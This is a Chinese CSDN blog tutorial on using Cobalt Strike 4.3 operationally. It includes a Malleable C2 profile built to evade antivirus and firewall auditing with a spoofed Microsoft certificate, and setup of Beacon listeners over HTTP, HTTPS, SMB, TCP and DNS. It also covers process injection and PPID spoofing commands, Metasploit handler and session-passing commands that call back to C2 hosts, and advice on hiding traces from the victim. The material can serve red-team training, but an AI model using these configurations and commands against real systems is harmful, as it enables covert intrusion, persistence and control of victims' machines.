Cobalt Strike使用教程——实战篇

本文主要介绍实战中 **Cobalt Strike** 4.3 的常用操作,包括Malleable C2配置与分析、监听器和Beacon Payload配置与区别、进程注入与欺骗、与MSF联动以及插件使用方法。
摘要由CSDN通过智能技术生成

本文主要介绍实战中 Cobalt Strike 4.3 的常用操作,包括Malleable C2配置与分析、监听器和Beacon Payload配置与区别、进程注入与欺骗、与MSF联动以及插件使用方法。

一、Malleable C2配置

为持久化控守,绕过AV和防火墙等安全设备流量审计,需要使CS流量特征尽可能隐蔽,除修改C2监听端口、自生成cobaltstrike.store秘钥库之外,利用Malleable C2 Profile自定义CS通信流量特征也是非常重要的方面,下面介绍基本的配置规则,并抓包对比默认配置和自定义配置的流量特征。

(一) 基本配置规则

profile文件必须包含以下几个部分:

  • global options:定义全局变量信息
  • http-get:定义Beacon向C2发送http-get时的流量特征
  • http-post:定义C2向Beacon发送http-post时的流量特征

https-certificate为可选部分,配置好profile文件后用c2lint工具检查可用性和基本通信数据:./c2lint [/path/to/my.profile],如果不通过检查可能会导致通信失败,检查无误后就可以在启动CS时指定profile文件:./teamserver <ip> <passwd> [profile],自定义profile如下:

profile配置模板参考:https://github.com/xx0hcd/Malleable-C2-Profiles
malleable-c2参数说明参考:https://www.cobaltstrike.com/help-malleable-c2

###global options###
set sleeptime "20000";     # 单位ms
set jitter "30";           # 睡眠抖动时间,百分比0-99
#set host_stage "false";      # 设置所有的Payload都为Stageless,提高安全性
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0";

###SSL Options###
#https-certificate {
    #set keystore "your_store_file.store";
    #set password "your_store_pass";
#}

https-certificate {
    set C "US";                      # 单位的两字母国家代码
    set CN "Microsoft IT TLS CA 2";  # 通用名称
    set L "Redmond";                 # 城市或区域名称
    set O "Microsoft Corporation";   # 组织名称
    set OU "Microsoft IT";           # 组织单位名称
    set ST "Washington";             # 州或省份名称
    set validity "365";
}

##CODE-SIGNER Block###
code-signer{    # 用于签名 Windows Executable and Windows Executable (S),确保Payload一致性
    set keystore "cobaltstrike1.store"; 
    set password "password";
    set alias "certificate";
}

###HTTP-GET Block###
http-get {
    set uri "/login /config /admin /history"; # 自定义多个url请求路径,以空格相隔

    client {
        header "Host" "www.xxxx.com";
        header "Accept" "*/*";
        header "Accept-Language" "en-US";
        header "Connection" "close";
	   
        metadata {
            netbiosu;           # netbios(大写)编码
            append ".php";      # 追加参数内容尾缀
            parameter "file";   # 将内容放在新增的url参数中
            #prepend "user=";   # 追加参数内容前缀
            #header "Cookie";   # 添加到HTTP Cookie头中
        }
    }
    
    server { 
        header "Content-Type" "text/plain";

        output {
            base64;
            print;              # 将内容输出于HTTP Body中
        }
    }
}

###HTTP-Post Block###
http-post {
    set uri "/page= /index=";   # 不能与http-get的url请求路径完全相同

    client {
	    header "Host" "www.baidu.com";
        header "Accept" "*/*";
        header "Accept-Language" "en";
	    header "Connection" "close";     

        id {
            netbios;
            append ".php";
            uri-append;         # 追加到url末尾
        }
        
        output {
            base64;   
	        print;
        }
    }
        
    server { 
        output {
            base64;
            print;
        }
    }
}

(二) 流量特征对比

1.对比Beacon HTTPS证书信息

以下是已经应用了自生成cobaltstrike.store之后,curl请求HTTPS Beacon监听端口的结果:
在这里插入图片描述
可见HTTPS Beacon初始证书信息都是空值。然后配置Malleable C2 Profile,运行C2服务器,再用curl请求HTTPS Beacon监听端口的结果就可以看到自签名的证书信息了:
在这里插入图片描述

2.对比Beacon通信流量特征

利用WireShark抓包,对比CS配置profile前后的通信流量特征:

(1) Beacon通过http-get传递Metadata,以及C2响应下发任务

  • CS默认流量特征:
    在这里插入图片描述
  • 自定义profile流量特征:
    在这里插入图片描述

(2) Beacon通过http-post返回执行结果

  • CS默认流量特征:
    在这里插入图片描述
  • 自定义profile流量特征:
    在这里插入图片描述

二、监听器和Beacon

使靶机和C2建立起通信基础操作分为3个步骤:

  • 在C2上新建并开启监听器
  • 根据监听器的Beacon类型生成相应的Payload
  • 将Payload上传到靶机上运行

监听器包括8种Beacon类型,其中内置6种:Beacon DNS、Beacon HTTP、Beacon HTTPS、Beacon SMB、Beacon TCP、External C2,外置2种:Foreign HTTP、Foreign HTTPS。外置Beacon监听器用来与MSF、Armitage等外部程序联动,后续会介绍,下面介绍内置Beacon监听器的使用方法:

(一) Beacon HTTP

在CS服务端建立监听端口,Beacon和C2之间通过HTTP协议完成Stage加载以及Beacon通信。在监听器显示框中选择新建,Payload配置界面如下所示:
在这里插入图片描述
Payload Options配置如下:

  • HTTP Hosts:Beacon回连的主机,可以添加多个
  • Host Rotation Strategy:Beacon回连主机策略
  • HTTP Host (Stager):配置Stager主机,仅当Payload明确需要Stager配合时有效
  • Profile:Malleable C2配置文件,用于自定义通信流量特征
  • HTTP Port (C2):Beacon回连的监听端口
  • HTTP Port (Bind):绑定监听端口,实现端口重定向
  • HTTP Host Header:设置内层真实域名,在使用域前置技术时使用
  • HTTP Proxy:为Payload指定代理

HTTP/HTTPS Beacon 的利用比较简单,生成Payload时选择此监听器,然后使Payload在靶机上运行即可,所有Payload都可以选择此监听器。也可在 spawnspawn as 命令/选项派生新的会话选择此监听器,由此派生的会话和当前会话是并列关系

(二) Beacon HTTPS

与Beacon HTTP配置和使用基本相同,采用SSL加密应用层数据,证书信息需要在Malleable C2 Profile中配置。

(三) Beacon SMB

使用命名管道通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取任务执行,两者使用Windows命名管道通信,流量封装在SMB协议中,较为隐蔽。Payload配置界面如下所示:(Beacon连接的主机必须支持SMB协议,接受445端口的连接)
在这里插入图片描述
Payload Options只有一个可以自己配置名称的命名管道选项 Pipename (C2),注意只有不需要Stager的Payload才可以选择此监听器,如使用 spawnspawn as 命令/选项派生新的会话,由此派生的会话和当前会话是级联关系,命令执行后自动建立起连接,派生会话为子Beacon,当前会话为父Beacon,子Beacon通过父Beacon与C2通信,可以使用link/unlink命令连接/断开之间的连接。

如果在靶机上手动运行SMB Beacon Payload,此时不会自动和父Beacon建立连接,需要手动选择父Beacon,在父Beacon中用link命令与靶机(子Beacon)建立连接。

(四) Beacon TCP

使用TCP Socket通过父级Beacon进行通讯,当两个Beacon连接后,子Beacon从父Beacon获取任务执行,Payload配置界面如下所示:
在这里插入图片描述
Payload Options只有一个可以自己配置的监听端口选项 Port (C2),生成此监听器后,其余使用方法与SMB Beacon基本相同,只是连接/断开使用的是connect/unlink命令。

(五) Beacon DNS

DNS Beacon是CS中非常优秀的功能,流量特征弱、隐蔽性强,使用DNS Beacon首先需要为C2服务器申请一个域名,然后创建A记录,将域名解析指向C2服务器的IP,再创建NS记录,将域名解析指向刚刚创建的A记录。 配置好域名后DNS请求会被解析到我们的C2,DNS Beacon通过DNS请求与服务器建立会话,C2通过DNS回复通知靶机继续休眠或是执行任务,Payload配置界面如下所示:
在这里插入图片描述
Payload Options配置如下:

  • DNS Hosts:Beacon回连的主机,可以添加多个
  • Host Rotation Strategy:Beacon回连主机策略
  • HTTP Host (Stager):配置Stager主机,仅当Payload明确需要Stager配合时有效
  • Profile:Malleable C2配置文件,用于自定义通信流量特征
  • DNS Port (Bind):绑定监听端口,实现端口重定向
  • DNS Resolver:指定NS服务器

DNS Beacon与C2通信基本流程如下所示:
在这里插入图片描述
测试DNS配置是否正确,在C2 (即A-record.mytest.com指向的主机) 中打开一个终端并输入 nslookup <test.domain> <NS-record.mytest.com>或者dig @<NS-record.mytest.com> <test.domain>,其中NS-record.mytest.com为C2注册域名的权威域名服务器,如果返回一个0.0.0.0的A记录,则说明DNS配置是正确的,反之没有回复则说明DNS配置错误,此时DNS Beacon不会与C2正常通信。

DNS Beacon 的利用和HTTP/HTTPS Beacon相同,比较简单,但注意Payload在成功利用后会发现上线靶机是黑屏的图标,这是因为没有任务时靶机只会每隔一段时间 (实测180s左右) 发送一个DNS请求信息,其中不会携带靶机的Metadata,这时需要使用checkin命令使DNS Beacon强制回连,或者输入要执行的命令,这时也会默认先checkin然后再执行命令。使用mode dns-txt命令可以改变DNS Beacon通信模式,TXT记录请求每次携带189字节可以提高通信效率。

(六) External C2

External C2是一种通信规范,它允许第三方程序通过预置的通信层设定与CS Beacon Payload进行通信,这里不详细描述。

三、进程注入和欺骗

(一) 会话传递

1.inject / shinject / dllinject

shellcode注入进程后会生成新的会话,这样即使原来的Beacon进程崩溃,目标也不至于掉线,而且新会话的权限取决于注入进程的权限,这样注入SYSTEM权限的进程,即便用户注销,只要主机不关机Beacon始终能保持回连,两种注入方式如下:

# 根据listener注入相应的shellcode
# winlogon.exe进程以SYSTEM权限运行,通常可以考虑
inject [pid] <x86|x64> [listener]

# 将shellcode注入到所选进程
shinject [pid] <x86|x64> [/path/to/raw.bin]

# 将反射型dll注入到所选进程
dllinject [pid] [/path/to/my.dll]
2.spawnto / spawnu

默认情况下,spawn命令会新建一个rundll32.exe进程用于派生会话,spawnto命令可以指明在派生会话时将shellcode注入到具体的进程:

# 必须指明程序的具体路径,可以使用系统变量如 %windir%\syswow64\rundll32.exe
spawnto [x86|x64] [c:\path\to\whatever.exe]
spawn <listener>

spawnu命令会选择一个临时的父进程,然后派生一个子进程,这个子进程同样可以用spawnto指定:

spawnto [x86|x64] [c:\path\to\whatever.exe]
spawnu [pid] [listener]

(二) 进程欺骗

1.ppid

之后派生的Beacon选择父进程,当前Beacon必须有调用父进程的权限并且与父进程在相同的桌面会话环境。

ppid [pid]  # 如果不指定pid,则恢复到默认设置
2.runu

选择一个进程作为临时的父进程去执行命令,当前Beacon必须有调用这个父进程的权限并且与父进程在相同的桌面会话环境。

runu [pid] [command] [arguments]

四、与MSF联动

(实验环境MSF和CS都运行在内网,实战中可能会用到端口映射)

注意:目前只有 windows/meterpreter/reverse_http[s] 才能和CS成功联动

(一) MSF—>CS

已经获取MSF Session的前提下,派生CS Session

首先在CS上建立监听,如下所示:
在这里插入图片描述
然后在MSF Session中执行命令:

use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http # 注意要与CS建立监听的Beacon类型相同
set DisablePayloadHandler True  # 禁止在本地尝试产生新的session
set PrependMigrate True         # (重要!!)预置进程迁移,避免因payload注入程序意外关闭时会话丢失
set lhost 192.168.43.189        # cs开启监听的ip
set lport 44319                 # cs开启监听的端口 
set session 1                   # 指定注入的session
exploit

MSF默认通过shellcode注入新建的Notepad.exe进程从而派生会话,在实验中发现payload_inject运行后会在靶机上弹出Notepad窗口,如果不设置set PrependMigrate True,待用户关闭Notepad窗口后会话就丢失了,所以这项配置很重要。另外,为了增加隐蔽性,派生会话后最好利用已获取的Shell将Notepad.exe进程杀掉,避免被人察觉。

(二) CS—>MSF

已经获取CS Session的前提下,派生MSF Session

首先在MSF上建立监听:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.122
set lport 52981
exploit -j

然后在CS上建立Foreign类型的监听器,Payload主机和监听端口与MSF一致,如下所示:
在这里插入图片描述
最后通过 spawnspawn asinject 等命令/选项派生会话,选择刚生成的Foreign监听器即可。

五、使用插件

插件是CS非常重要的一个功能,它使CS可以集成众多优秀的工具,丰富的插件和良好的开发生态使得CS无所不能,下边介绍如何加载插件以及常用插件用法。

(一) 加载插件

一般在客户端加载,菜单栏选择 Cobalt Strike -> Script Manager,在Scripts功能框中选择Load,加载cna插件,加载后选择目标->右键就可以使用加载的插件。
在这里插入图片描述

(二) 常见插件

CS插件在GitHub上非常多,尤其国内红队开发的插件功能既强大又好用,只是在英文版的CS界面中文显示乱码,如果确需用英文版,可以直接修改cna源码,替换中文字符解决乱码问题。下边推荐几个好用插件:

  • 5
    点赞
  • 39
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值